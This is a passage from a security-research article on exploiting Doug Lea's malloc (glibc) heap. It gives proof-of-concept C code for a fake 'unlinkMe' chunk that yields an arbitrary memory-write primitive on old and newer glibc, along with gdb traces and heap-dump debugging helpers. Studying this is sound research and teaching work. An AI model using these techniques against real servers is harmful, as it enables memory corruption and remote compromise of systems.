with more nops, we may also inject a larger quantity of shellcode in the 

process (depending on the process being exploited) inferring there are 

more possibilities of hitting it that way. Although these enhancements 

will improve the reliability of our exploit, they are not enough for an 

exploit to work always on any vulnerable target. In order to create a 

fully reliable exploit, we'll need to obtain both the address where our 

shellcode gets injected and the address of any function pointer to 

overwrite. 

 



[7. Advanced Doug lea's malloc exploits - jp] 

 

  Page 
230 

 
  

In the following, we discuss how these requirements may be accomplished in 

an automated way, without any prior knowledge of the target server. Most 

of the article details how we can force a remote process to leak the 

required information using aa4bmo primitive. 

 

--------------------------------------------------------------------------- 

--] 4. The techniques 

 

--] 4.1 aa4bmo primitive  

 

--] 4.1.1 First unlinkMe chunk 

 

In order to be sure that our primitive is working as expected, even in 

scenarios where we are not able to fully predict the location of our 

injected fake chunk, we build the following 'unlinkMe chunk': 

 

 

 -4        -4      what     where-8    -11      -15      -19    ... 

|--------|--------|--------|--------|--------|--------|--------|... 

 sizeB    sizeA    FD       BK 

 ----------- nasty chunk -----------|--------|--------------------> 

                                            (X) 

 

We just need a free() call to hit our block after the (X) point to 

overwrite 'where' with 'what'. 

 

When free() is called the following sequence takes place: 

 

- chunk_free() tries to look for the next chunk, it takes the chunk's 

  size (<0) and adds it to the chunk address, obtaining always the sizeA 

  of the 'nasty chunk' as the start of the next chunk, as all the sizes 

  after the (X) are relative to it. 

 

- Then, it checks the prev_inuse bit of our chunk, but as we set it (each 

  of the sizes after the (X) point has the prev_inuse bit set, the 

  IS_MMAPPED bit is not set) it does not try to backward consolidate 

  (because the previous chunk 'seems' to be allocated). 

 

- Finally, it checks if the fake next chunk (our nasty chunk) is free. It 

  takes its size (-4) to look for the next chunk, obtaining our fake 

  sizeB, and checks for the prev_inuse flag, which is not set. So, it 

  tries to unlink our nasty chunk from its bin to coalesce it with the 

  chunk being freed. 

 

- When unlink() is called, we get the aa4bmo primitive. The unlink() 

  technique is described in [2] and [3]. 

 

--] 4.1.1.1 Proof of concept 1: unlinkMe chunk 

 

We'll use the following code to show in a simple way the unlinkMe chunk in 

action: 

 

#define WHAT_2_WRITE  0xbfffff00 

#define WHERE_2_WRITE 0xbfffff00 

#define SZ            256 

#define SOMEOFFSET    5 + (rand() % (SZ-1)) 

#define PREV_INUSE    1 

#define IS_MMAP       2 

int main(void){ 

   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned 

long)); 
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   int i = 0; 

   unlinkMe[i++] = -4; 

   unlinkMe[i++] = -4; 

   unlinkMe[i++] = WHAT_2_WRITE; 

   unlinkMe[i++] = WHERE_2_WRITE-8; 

   for(;i<SZ;i++){ 

      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ; 

   } 

   free(unlinkMe+SOMEOFFSET); 

   return 0; 

} 

 

Breakpoint 3, free (mem=0x804987c) at heapy.c:3176 

 

     if (mem == 0)    /* free(0) has no effect */ 

3181      p = mem2chunk(mem); 

3185      if (chunk_is_mmapped(p))    /* release mmapped memory. */ 

 

We did not set the IS_MMAPPED bit. 

 

3193      ar_ptr = arena_for_ptr(p); 

3203      (void)mutex_lock(&ar_ptr->mutex); 

3205      chunk_free(ar_ptr, p); 

 

After some checks, we reach chunk_free(). 

 

(gdb) s 

chunk_free (ar_ptr=0x40018040, p=0x8049874) at heapy.c:3221 

 

Let's see how does our chunk looks at a random location... 

 

(gdb) x/20x p 

0x8049874:      0xfffffd71      0xfffffd6d      0xfffffd69      0xfffffd65 

0x8049884:      0xfffffd61      0xfffffd5d      0xfffffd59      0xfffffd55 

0x8049894:      0xfffffd51      0xfffffd4d      0xfffffd49      0xfffffd45 

0x80498a4:      0xfffffd41      0xfffffd3d      0xfffffd39      0xfffffd35 

0x80498b4:      0xfffffd31      0xfffffd2d      0xfffffd29      0xfffffd25 

 

We dumped the chunk including its header, as received by chunk_free(). 

 

3221      INTERNAL_SIZE_T hd = p->size; /* its head field */ 

3235      sz = hd & ~PREV_INUSE; 

 

(gdb) p/x hd 

$5 = 0xfffffd6d 

(gdb) p/x sz 

$6 = 0xfffffd6c 

 

3236      next = chunk_at_offset(p, sz); 

3237      nextsz = chunksize(next); 

 

 

Using the negative relative size, chunk_free() gets the next chunk, let's 

see which is the 'next' chunk: 

 

(gdb) x/20x next 

0x80495e0:      0xfffffffc      0xfffffffc      0xbfffff00      0xbffffef8 

0x80495f0:      0xfffffff5      0xfffffff1      0xffffffed      0xffffffe9 

0x8049600:      0xffffffe5      0xffffffe1      0xffffffdd      0xffffffd9 

0x8049610:      0xffffffd5      0xffffffd1      0xffffffcd      0xffffffc9 

0x8049620:      0xffffffc5      0xffffffc1      0xffffffbd      0xffffffb9 
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(gdb) p/x nextsz 

$7 = 0xfffffffc 

 

It's our nasty chunk... 

 

3239      if (next == top(ar_ptr))    /* merge with top */ 

3278      islr = 0; 

3280      if (!(hd & PREV_INUSE))   /* consolidate backward */ 

 

We avoid the backward consolidation, as we set the PREV_INUSE bit. 

 

3294      if (!(inuse_bit_at_offset(next, nextsz)))    

                /* consolidate forward */ 

 

But we force a forward consolidation. The inuse_bit_at_offset() macro adds 

nextsz (-4) to our nasty chunk's address, and looks for the PREV_INUSE bit 

in our other -4 size. 

 

3296        sz += nextsz; 

3298        if (!islr && next->fd == last_remainder(ar_ptr)) 

3306          unlink(next, bck, fwd); 

 

unlink() is called with our supplied values: 0xbffffef8 and 0xbfffff00 as 

forward and backward pointers (it does not crash, as they are valid 

addresses). 

 

             next = chunk_at_offset(p, sz); 

3315      set_head(p, sz | PREV_INUSE); 

3316      next->prev_size = sz; 

3317      if (!islr) { 

3318        frontlink(ar_ptr, p, sz, idx, bck, fwd); 

 

fronlink() is called and our chunk is inserted in the proper bin.  

 

--- BIN DUMP --- 

arena @ 0x40018040 - top @ 0x8049a40 - top size = 0x05c0 

   bin 126 @ 0x40018430 

      free_chunk @ 0x80498d8 - size 0xfffffd64 

 

The chunk was inserted into one of the bigger bins... as a consequence of 

its 'negative' size.  

The process won't crash if we are able to maintain this state. If more 

calls to free() hit our chunk, it won't crash. But it will crash in case a 

malloc() call does not find any free chunk to satisfy the allocation 

requirement and tries to split one of the bins in the bin number 126, as 

it will try to calculate where is the chunk after the fake one, getting 

out of the valid address range because of the big 'negative' size (this 

may not happen in a scenario where there is enough memory allocated 

between the fake chunk and the top chunk, forcing this layout is not very 

difficult when the target server does not impose tight limits to our 

requests size). 

 

We can check the results of the aa4bmo primitive: 

 

(gdb) x/20x 0xbfffff00 

 

                                !!!!!!!!!!                      !!!!!!!!!! 

0xbfffff00:     0xbfffff00      0x414c0065      0x653d474e      0xbffffef8 

0xbfffff10:     0x6f73692e      0x39353838      0x53003531      0x415f4853 

0xbfffff20:     0x41504b53      0x2f3d5353      0x2f727375      0x6562696c 
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0xbfffff30:     0x2f636578      0x6e65706f      0x2f687373      0x6d6f6e67 

0xbfffff40:     0x73732d65      0x73612d68      0x7361706b      0x4f480073 

 

 

If we add some bogus calls to free() in the following way: 

 

   for(i=0;i<5;i++) free(unlinkMe+SOMEOFFSET); 

 

we obtain the following result for example: 

 

--- BIN DUMP --- 

arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 

   bin 126 @ 0x40018430 

      free_chunk @ 0x8049958 - size 0x8049958 

      free_chunk @ 0x8049954 - size 0xfffffd68 

      free_chunk @ 0x8049928 - size 0xfffffd94 

      free_chunk @ 0x8049820 - size 0x40018430 

      free_chunk @ 0x80499c4 - size 0xfffffcf8 

      free_chunk @ 0x8049818 - size 0xfffffea4 

 

without crashing the process. 

 

--] 4.1.2 New unlinkMe chunk 

 

Changes introduced in newer libc versions (glibc-2.3 for example) affect 

our unlinkMe chunk. The main problem for us is related to the addition of 

one flag bit more. SIZE_BITS definition was modified, from: 

 

#define SIZE_BITS (PREV_INUSE|IS_MMAPPED) 

 

to: 

 

#define SIZE_BITS (PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA) 

 

The new flag, NON_MAIN_ARENA is defined like this: 

 

/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained 

   from a non-main arena.  This is only set immediately before handing 

   the chunk to the user, if necessary.  */ 

#define NON_MAIN_ARENA 0x4 

 

 

This makes our previous unlinkMe chunk to fail in two different points in 

systems using a newer libc. 

 

Our first problem is located within the following code: 

 

public_fREe(Void_t* mem) 

{ 

... 

  ar_ptr = arena_for_chunk(p); 

... 

  _int_free(ar_ptr, mem); 

... 

 

where: 

 

#define arena_for_chunk(ptr) \ 

 (chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena) 

 

and  
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/* check for chunk from non-main arena */ 

#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA) 

 

If heap_for_ptr() is called when processing our fake chunk, the process 

crashes in the following way: 

 

0x42074a04 in free () from /lib/i686/libc.so.6 

1: x/i $eip  0x42074a04 <free+84>:      and    $0x4,%edx 

(gdb) x/20x $edx 

0xffffffdd:     Cannot access memory at address 0xffffffdd 

 

0x42074a07 in free () from /lib/i686/libc.so.6 

1: x/i $eip  0x42074a07 <free+87>:      je     0x42074a52 <free+162> 

 

0x42074a09 in free () from /lib/i686/libc.so.6 

1: x/i $eip  0x42074a09 <free+89>:      and    $0xfff00000,%eax 

 

0x42074a0e in free () from /lib/i686/libc.so.6 

1: x/i $eip  0x42074a0e <free+94>:      mov    (%eax),%edi 

(gdb) x/x $eax 

0x8000000:      Cannot access memory at address 0x8000000 

 

Program received signal SIGSEGV, Segmentation fault. 

0x42074a0e in free () from /lib/i686/libc.so.6 

1: x/i $eip  0x42074a0e <free+94>:      mov    (%eax),%edi 

 

So, the fake chunk size has to have its NON_MAIN_ARENA flag not set. 

 

 

Then, our second problem takes places when the supplied size is masked 

with the SIZE_BITS. Older code looked like this: 

 

      nextsz = chunksize(next); 

0x400152e2 <chunk_free+64>:        mov    0x4(%edx),%ecx 

0x400152e5 <chunk_free+67>:        and    $0xfffffffc,%ecx 

 

and new code is: 

 

      nextsize = chunksize(nextchunk); 

0x42073fe0 <_int_free+112>:     mov    0x4(%ecx),%eax 

0x42073fe3 <_int_free+115>:     mov    %ecx,0xffffffec(%ebp) 

0x42073fe6 <_int_free+118>:     mov    %eax,0xffffffe4(%ebp) 

0x42073fe9 <_int_free+121>:     and    $0xfffffff8,%eax 

 

So, we can't use -4 anymore, the smaller size we can provide is -8. 

Also, we are not able anymore to make every chunk to point to our nasty 

chunk. The following code shows our new unlinkMe chunk which solves both 

problems: 

 

unsigned long *aa4bmoPrimitive(unsigned long what,  

                               unsigned long where,unsigned long sz){ 

   unsigned long *unlinkMe; 

   int i=0; 

 

   if(sz<13) sz = 13; 

   unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long)); 

    // 1st nasty chunk 

   unlinkMe[i++] = -4;    // PREV_INUSE is not set 

   unlinkMe[i++] = -4; 

   unlinkMe[i++] = -4; 
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   unlinkMe[i++] = what; 

   unlinkMe[i++] = where-8; 

    // 2nd nasty chunk 

   unlinkMe[i++] = -4; // PREV_INUSE is not set 

   unlinkMe[i++] = -4; 

   unlinkMe[i++] = -4; 

   unlinkMe[i++] = what; 

   unlinkMe[i++] = where-8; 

   for(;i<sz;i++) 

      if(i%2) 

            // relative negative offset to 1st nasty chunk 

         unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | 

PREV_INUSE; 

      else 

            // relative negative offset to 2nd nasty chunk 

         unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | 

PREV_INUSE; 

 

   free(unlinkMe+SOMEOFFSET(sz)); 

   return unlinkMe; 

} 

 

The process is similar to the previously explained for the first unlinkMe 

chunk version. Now, we are using two nasty chunks, in order to be able to 

point every chunk to one of them. Also, we added a -4 (PREV_INUSE flag not 

set) before each of the nasty chunks, which is accessed in step 3 of the 

'4.1.1 First unlinkMe chunk' section, as -8 is the smaller size we can 

provide. 

 

This new version of the unlinkMe chunk works both in older and newer libc 

versions. Along the article most proof of concept code uses the first 

version, replacing the aa4bmoPrimitive() function is enough to obtain an 

updated version. 

 

--------------------------------------------------------------------------- 

--] 4.2 Heap layout analysis 

 

You may want to read the 'Appendix I - malloc internal structures 

overview' section before going on. 

Analysing the targeted process heap layout and its evolution allows to 

understand what is happening in the process heap in every moment, its 

state, evolution, changes... etc. This allows to predict the allocator 

behavior and its reaction to each of our inputs. 

Being able to predict the heap layout evolution, and using it to our 

advantage is extremely important in order to obtain a reliable 

exploit. 

To achieve this, we'll need to understand the allocation behavior of 

the process (i.e. if the process allocates large structures for each 

connection, if lots of free chunks/heap holes are generated by a 

specific command handler, etc), which of our inputs may be used to 

force a big/small allocation, etc. 

We must pay attention to every use of the malloc routines, and 

how/where we might be able to influence them via our input so 

that a reliable situation is reached. 

For example, in a double free() vulnerability scenario, we know the 

second free() call (trying to free already freed memory), will 

probably crash the process. Depending on the heap layout evolution 

between the first free() and the second free(), the portion of memory 

being freed twice may: have not changed, have been reallocated several 

times, have been coalesced with other chunks or have been overwritten and 

freed. 



[7. Advanced Doug lea's malloc exploits - jp] 

 

  Page 
236 

 
  

 

The main factors we have to recognize include: 

 

A] chunk size: does the process allocate big memory chunks? is our  

   input stored in the heap? what commands are stored in the heap? 

   is there any size limit to our input? am I able to force a heap 

    top (top_chunk) extension? 

B] allocation behavior: are chunks allocated for each of our 

    connections? what size? are chunks allocated periodically? are 

   chunks freed periodically? (i.e. async garbage collector, cache 

    pruning, output buffers, etc) 

C] heap holes: does the process leave holes? when? where? what size? 

   can we fill the hole with our input? can we force the overflow 

   condition in this hole? what is located after the hole? are we 

   able to force the creation of holes? 

D] original heap layout: is the heap layout predictable after process 

   initialization? after accepting a client connection? (this is  

   related to the server mode) 

 

During our tests, we use an adapted version of a real malloc 

implementation taken from the glibc, which was modified to generate 

debugging output for each step of the allocator's algorithms, plus three 

helper functions added to dump the heap layout and state. 

This allows us to understand what is going on during exploitation, the 

actual state of the allocator internal structures, how our input affects 

them, the heap layout, etc. 

Here is the code of the functions we'll use to dump the heap state: 

 

static void 

#if __STD_C 

heap_dump(arena *ar_ptr) 

#else 

heap_dump(ar_ptr) arena *ar_ptr; 

#endif 

{ 

  mchunkptr p; 

 

  fprintf(stderr,"\n--- HEAP DUMP ---\n"); 

  fprintf(stderr, 

            "            ADDRESS   SIZE               FD            BK\n"); 

 

  fprintf(stderr,"sbrk_base %p\n", 

          (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &  

            ~MALLOC_ALIGN_MASK)); 

 

  p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) & 

                  ~MALLOC_ALIGN_MASK); 

 

  for(;;) { 

    fprintf(stderr, "chunk     %p 0x%.4x", p, (long)p->size); 

 

    if(p == top(ar_ptr)) { 

      fprintf(stderr, " (T)\n"); 

      break; 

    } else if(p->size == (0|PREV_INUSE)) { 

      fprintf(stderr, " (Z)\n"); 

      break; 

    } 

 

    if(inuse(p)) 

       fprintf(stderr," (A)"); 
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    else 

       fprintf(stderr," (F) | 0x%8x | 0x%8x |",p->fd,p->bk); 

 

    if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr))) 

       fprintf(stderr," (LR)"); 

    else if(p->fd==p->bk & ~inuse(p)) 

       fprintf(stderr," (LC)"); 

 

    fprintf(stderr,"\n"); 

    p = next_chunk(p); 

  } 

  fprintf(stderr,"sbrk_end  %p\n",sbrk_base+sbrked_mem); 

} 

 

 

 

static void 

#if __STD_C 

heap_layout(arena *ar_ptr) 

#else 

heap_layout(ar_ptr) arena *ar_ptr; 

#endif 

{ 

  mchunkptr p; 

 

  fprintf(stderr,"\n--- HEAP LAYOUT ---\n"); 

 

  p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) & 

                  ~MALLOC_ALIGN_MASK); 

 

  for(;;p=next_chunk(p)) { 

    if(p==top(ar_ptr)) { 

       fprintf(stderr,"|T|\n\n"); 

       break; 

    } 

    if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr))) { 

       fprintf(stderr,"|L|"); 

       continue; 

    } 

    if(inuse(p)) { 

       fprintf(stderr,"|A|"); 

       continue; 

    } 

       fprintf(stderr,"|%lu|",bin_index(p->size)); 

       continue; 

    } 

  } 

} 

 

 

 

static void 

#if __STD_C 

bin_dump(arena *ar_ptr) 

#else 

bin_dump(ar_ptr) arena *ar_ptr; 

#endif 

{ 

  int i; 

  mbinptr b; 

  mchunkptr p; 
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  fprintf(stderr,"\n--- BIN DUMP ---\n"); 

 

  (void)mutex_lock(&ar_ptr->mutex); 

 

  fprintf(stderr,"arena @ %p - top @ %p - top size = 0x%.4x\n", 

         ar_ptr,top(ar_ptr),chunksize(top(ar_ptr))); 

 

  for (i = 1; i < NAV; ++i) 

  { 

    char f = 0; 

    b = bin_at(ar_ptr, i); 

    for (p = last(b); p != b; p = p->bk) 

    { 

      if(!f){ 

         f = 1; 

         fprintf(stderr,"   bin %d @ %p\n",i,b); 

      } 

      fprintf(stderr,"      free_chunk @ %p - size 0x%.4x\n", 

             p,chunksize(p)); 

    } 

  (void)mutex_unlock(&ar_ptr->mutex); 

  fprintf(stderr,"\n"); 

} 

 

 

 

--] 4.2.1 Proof of concept 2: Heap layout debugging 

 

We'll use the following code to show how the debug functions help to 

analyse the heap layout: 

 

#include <malloc.h> 

int main(void){ 

        void *curly,*larry,*moe,*po,*lala,*dipsi,*tw,*piniata; 

        curly = malloc(256); 

        larry = malloc(256); 

        moe = malloc(256); 

        po = malloc(256); 

        lala = malloc(256); 

        free(larry); 

        free(po); 

        tw = malloc(128); 

        piniata = malloc(128); 

        dipsi = malloc(1500); 

        free(dipsi); 

        free(lala); 

} 

 

The sample debugging section helps to understand malloc's basic 

algorithms and data structures: 

 

(gdb) set env LD_PRELOAD ./heapy.so 

 

We override the real malloc with our debugging functions, heapy.so also 

includes the heap layout dumping functions. 

 

(gdb) r 

Starting program: /home/jp/cerebro/heapy/debugging_sample 

 

4               curly = malloc(256); 
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[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) 

    extended top chunk: 

        previous size 0x0 

        new top 0x80496a0 size 0x961 

        returning 0x8049598 from top chunk 

 

(gdb) p heap_dump(0x40018040) 

 

--- HEAP DUMP --- 

            ADDRESS   SIZE               FD           BK 

sbrk_base 0x8049598 

chunk     0x8049598 0x0109 (A) 

chunk     0x80496a0 0x0961 (T) 

sbrk_end  0x804a000 

 

(gdb) p bin_dump(0x40018040) 

 

--- BIN DUMP --- 

arena @ 0x40018040 - top @ 0x80496a0 - top size = 0x0960 

 

(gdb) p heap_layout(0x40018040) 

 

--- HEAP LAYOUT --- 

|A||T| 

 

The first chunk is allocated, note the difference between the requested 

size (256 bytes) and the size passed to chunk_alloc(). As there is no 

chunk, the top needs to be extended and memory is requested to the 

operating system. More memory than the needed is requested, the remaining 

space is allocated to the 'top chunk'.  

In the heap_dump()'s output the (A) represents an allocated chunk, while 

the (T) means the chunk is the top one. Note the top chunk's size (0x961) 

has its last bit set, indicating the previous chunk is allocated: 

 

/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use 

 */ 

 

#define PREV_INUSE 0x1UL 

 

The bin_dump()'s output shows no bin, as there is no free chunk yet, 

except from the top. The heap_layout()'s output just shows an allocated 

chunk next to the top. 

 

 

 

5               larry = malloc(256); 

 

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) 

    returning 0x80496a0 from top chunk 

    new top 0x80497a8 size 0x859 

 

--- HEAP DUMP --- 

            ADDRESS   SIZE               FD           BK 

sbrk_base 0x8049598 

chunk     0x8049598 0x0109 (A) 

chunk     0x80496a0 0x0109 (A) 

chunk     0x80497a8 0x0859 (T) 

sbrk_end  0x804a000 

 

--- BIN DUMP --- 
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arena @ 0x40018040 - top @ 0x80497a8 - top size = 0x0858 

 

--- HEAP LAYOUT --- 

|A||A||T| 

 

A new chunk is allocated from the remaining space at the top chunk. The 

same happens with the next malloc() calls. 

 

 

 

6               moe = malloc(256); 

 

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) 

    returning 0x80497a8 from top chunk 

    new top 0x80498b0 size 0x751 

 

--- HEAP DUMP --- 

            ADDRESS   SIZE               FD           BK 

sbrk_base 0x8049598 

chunk     0x8049598 0x0109 (A) 

chunk     0x80496a0 0x0109 (A) 

chunk     0x80497a8 0x0109 (A) 

chunk     0x80498b0 0x0751 (T) 

sbrk_end  0x804a000 

 

--- BIN DUMP --- 

arena @ 0x40018040 - top @ 0x80498b0 - top size = 0x0750 

 

--- HEAP LAYOUT --- 

|A||A||A||T| 

 

 

 

7               po = malloc(256); 

 

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) 

    returning 0x80498b0 from top chunk 

    new top 0x80499b8 size 0x649 

  

--- HEAP DUMP --- 

            ADDRESS   SIZE               FD           BK 

sbrk_base 0x8049598 

chunk     0x8049598 0x0109 (A) 

chunk     0x80496a0 0x0109 (A) 

chunk     0x80497a8 0x0109 (A) 

chunk     0x80498b0 0x0109 (A) 

chunk     0x80499b8 0x0649 (T) 

sbrk_end  0x804a000 

 

--- BIN DUMP --- 

arena @ 0x40018040 - top @ 0x80499b8 - top size = 0x0648 

 

--- HEAP LAYOUT --- 

|A||A||A||A||T| 

 

 

 

8               lala = malloc(256); 

 

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264) 

    returning 0x80499b8 from top chunk 
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    new top 0x8049ac0 size 0x541 

 

--- HEAP DUMP --- 

            ADDRESS   SIZE               FD           BK 

sbrk_base 0x8049598 

chunk     0x8049598 0x0109 (A) 

chunk     0x80496a0 0x0109 (A) 

chunk     0x80497a8 0x0109 (A) 

chunk     0x80498b0 0x0109 (A) 

chunk     0x80499b8 0x0109 (A) 

chunk     0x8049ac0 0x0541 (T) 

sbrk_end  0x804a000 

 

--- BIN DUMP --- 

arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 

 

--- HEAP LAYOUT --- 

|A||A||A||A||A||T| 

 

 

 

9               free(larry); 

[1679] FREE(0x80496a8) - CHUNK_FREE(0x40018040,0x80496a0) 

    fronlink(0x80496a0,264,33,0x40018148,0x40018148) new free chunk 

 

--- HEAP DUMP --- 

            ADDRESS   SIZE               FD           BK 

sbrk_base 0x8049598 

chunk     0x8049598 0x0109 (A) 

chunk     0x80496a0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC) 

chunk     0x80497a8 0x0108 (A) 

chunk     0x80498b0 0x0109 (A) 

chunk     0x80499b8 0x0109 (A) 

chunk     0x8049ac0 0x0541 (T) 

sbrk_end  0x804a000 

 

--- BIN DUMP --- 

arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 

   bin 33 @ 0x40018148 

      free_chunk @ 0x80496a0 - size 0x0108 

 

--- HEAP LAYOUT --- 

|A||33||A||A||A||T| 

 

A chunk is freed. The frontlink() macro is called to insert the new free 

chunk into the corresponding bin: 

 

frontlink(ar_ptr, new_free_chunk, size, bin_index, bck, fwd); 

 

Note the arena address parameter (ar_ptr) was omitted in the output. 

In this case, the chunk at 0x80496a0 was inserted in the bin number 33 

according to its size. As this chunk is the only one in its bin (we can 

check this in the bin_dump()'s output), it's a lonely chunk (LC) (we'll 

see later that being lonely makes 'him' dangerous...), its 

bk and fd pointers are equal and point to the bin number 33. 

In the heap_layout()'s output, the new free chunk is represented by the 

number of the bin where it is located. 

 

 

 

10              free(po); 
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[1679] FREE(0x80498b8) - CHUNK_FREE(0x40018040,0x80498b0) 

    fronlink(0x80498b0,264,33,0x40018148,0x80496a0) new free chunk 

 

--- HEAP DUMP --- 

            ADDRESS   SIZE               FD           BK 

sbrk_base 0x8049598 

chunk     0x8049598 0x0109 (A) 

chunk     0x80496a0 0x0109 (F) | 0x40018148 | 0x080498b0 | 

chunk     0x80497a8 0x0108 (A) 

chunk     0x80498b0 0x0109 (F) | 0x080496a0 | 0x40018148 | 

chunk     0x80499b8 0x0108 (A) 

chunk     0x8049ac0 0x0541 (T) 

sbrk_end  0x804a000 

 

--- BIN DUMP --- 

arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 

   bin 33 @ 0x40018148 

      free_chunk @ 0x80496a0 - size 0x0108 

      free_chunk @ 0x80498b0 - size 0x0108 

 

--- HEAP LAYOUT --- 

|A||33||A||33||A||T| 

 

Now, we have two free chunks in the bin number 33. We can appreciate now 

how the double linked list is built. The forward pointer of the chunk at 

0x80498b0 points to the other chunk in the list, the backward pointer 

points to the list head, the bin. 

Note that there is no longer a lonely chunk. Also, we can see the 

difference between a heap address and a libc address (the bin address), 

0x080496a0 and 0x40018148 respectively. 

 

 

 

11              tw = malloc(128); 

 

[1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136) 

    unlink(0x80496a0,0x80498b0,0x40018148) from big bin 33 chunk 1 (split) 

    new last_remainder 0x8049728 

 

--- HEAP DUMP --- 

            ADDRESS   SIZE               FD           BK 

sbrk_base 0x8049598 

chunk     0x8049598 0x0109 (A) 

chunk     0x80496a0 0x0089 (A) 

chunk     0x8049728 0x0081 (F) | 0x40018048 | 0x40018048 | (LR) 

chunk     0x80497a8 0x0108 (A) 

chunk     0x80498b0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC) 

chunk     0x80499b8 0x0108 (A) 

chunk     0x8049ac0 0x0541 (T) 

sbrk_end  0x804a000 

 

--- BIN DUMP --- 

arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 

   bin 1 @ 0x40018048 

      free_chunk @ 0x8049728 - size 0x0080 

   bin 33 @ 0x40018148 

      free_chunk @ 0x80498b0 - size 0x0108 

 

--- HEAP LAYOUT --- 

|A||A||L||A||33||A||T| 



[7. Advanced Doug lea's malloc exploits - jp] 

 

  Page 
243 

 
  

 

In this case, the requested size for the new allocation is smaller than 

the size of the available free chunks. So, the first freed buffer is taken 

from the bin with the unlink() macro and splitted. The first part is 

allocated, the remaining free space is called the 'last remainder', which 

is always stored in the first bin, as we can see in the bin_dump()'s 

output. 

In the heap_layout()'s output, the last remainder chunk is represented 

with a L; in the heap_dump()'s output, (LR) is used. 

 

 

 

12              piniata = malloc(128); 

 

[1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136) 

    clearing last_remainder 

    frontlink(0x8049728,128,16,0x400180c0,0x400180c0) last_remainder 

    unlink(0x80498b0,0x40018148,0x40018148) from big bin 33 chunk 1 (split) 

    new last_remainder 0x8049938 

 

--- HEAP DUMP --- 

            ADDRESS   SIZE               FD           BK 

sbrk_base 0x8049598 

chunk     0x8049598 0x0109 (A) 

chunk     0x80496a0 0x0089 (A) 

chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC) 

chunk     0x80497a8 0x0108 (A) 

chunk     0x80498b0 0x0089 (A) 

chunk     0x8049938 0x0081 (F) | 0x40018048 | 0x40018048 | (LR) 

chunk     0x80499b8 0x0108 (A) 

chunk     0x8049ac0 0x0541 (T) 

sbrk_end  0x804a000 

$25 = void 

 

--- BIN DUMP --- 

arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 

   bin 1 @ 0x40018048 

      free_chunk @ 0x8049938 - size 0x0080 

   bin 16 @ 0x400180c0 

      free_chunk @ 0x8049728 - size 0x0080 

 

 

--- HEAP LAYOUT --- 

|A||A||16||A||A||L||A||T| 

 

As the last_remainder size is not enough for the requested allocation, the 

last remainder is cleared and inserted as a new free chunk into the 

corresponding bin. Then, the other free chunk is taken from its bin and 

split as in the previous step. 

 

 

 

13              dipsi = malloc(1500); 

 

[1679] MALLOC(1500) - CHUNK_ALLOC(0x40018040,1504) 

    clearing last_remainder 

    frontlink(0x8049938,128,16,0x400180c0,0x8049728) last_remainder 

    extended top chunk:  

        previous size 0x540 

        new top 0x804a0a0 size 0xf61 

        returning 0x8049ac0 from top chunk 
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--- HEAP DUMP --- 

            ADDRESS   SIZE               FD           BK 

sbrk_base 0x8049598 

chunk     0x8049598 0x0109 (A) 

chunk     0x80496a0 0x0089 (A) 

chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 | 

chunk     0x80497a8 0x0108 (A) 

chunk     0x80498b0 0x0089 (A) 

chunk     0x8049938 0x0081 (F) | 0x08049728 | 0x400180c0 | 

chunk     0x80499b8 0x0108 (A) 

chunk     0x8049ac0 0x05e1 (A) 

chunk     0x804a0a0 0x0f61 (T) 

sbrk_end  0x804b000 

 

--- BIN DUMP --- 

arena @ 0x40018040 - top @ 0x804a0a0 - top size = 0x0f60 

   bin 16 @ 0x400180c0 

      free_chunk @ 0x8049728 - size 0x0080 

      free_chunk @ 0x8049938 - size 0x0080 

 

--- HEAP LAYOUT --- 

|A||A||16||A||A||16||A||A||T| 

 

As no available free chunk is enough for the requested allocation size, 

the top chunk was extended again. 

 

 

 

14              free(dipsi); 

 

[1679] FREE(0x8049ac8) - CHUNK_FREE(0x40018040,0x8049ac0) 

    merging with top 

    new top 0x8049ac0 

 

--- HEAP DUMP --- 

            ADDRESS   SIZE               FD           BK 

sbrk_base 0x8049598 

chunk     0x8049598 0x0109 (A) 

chunk     0x80496a0 0x0089 (A) 

chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 | 

chunk     0x80497a8 0x0108 (A) 

chunk     0x80498b0 0x0089 (A) 

chunk     0x8049938 0x0081 (F) | 0x 8049728 | 0x400180c0 | 

chunk     0x80499b8 0x0108 (A) 

chunk     0x8049ac0 0x1541 (T) 

sbrk_end  0x804b000 

 

--- BIN DUMP --- 

arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x1540 

   bin 16 @ 0x400180c0 

      free_chunk @ 0x8049728 - size 0x0080 

      free_chunk @ 0x8049938 - size 0x0080 

 

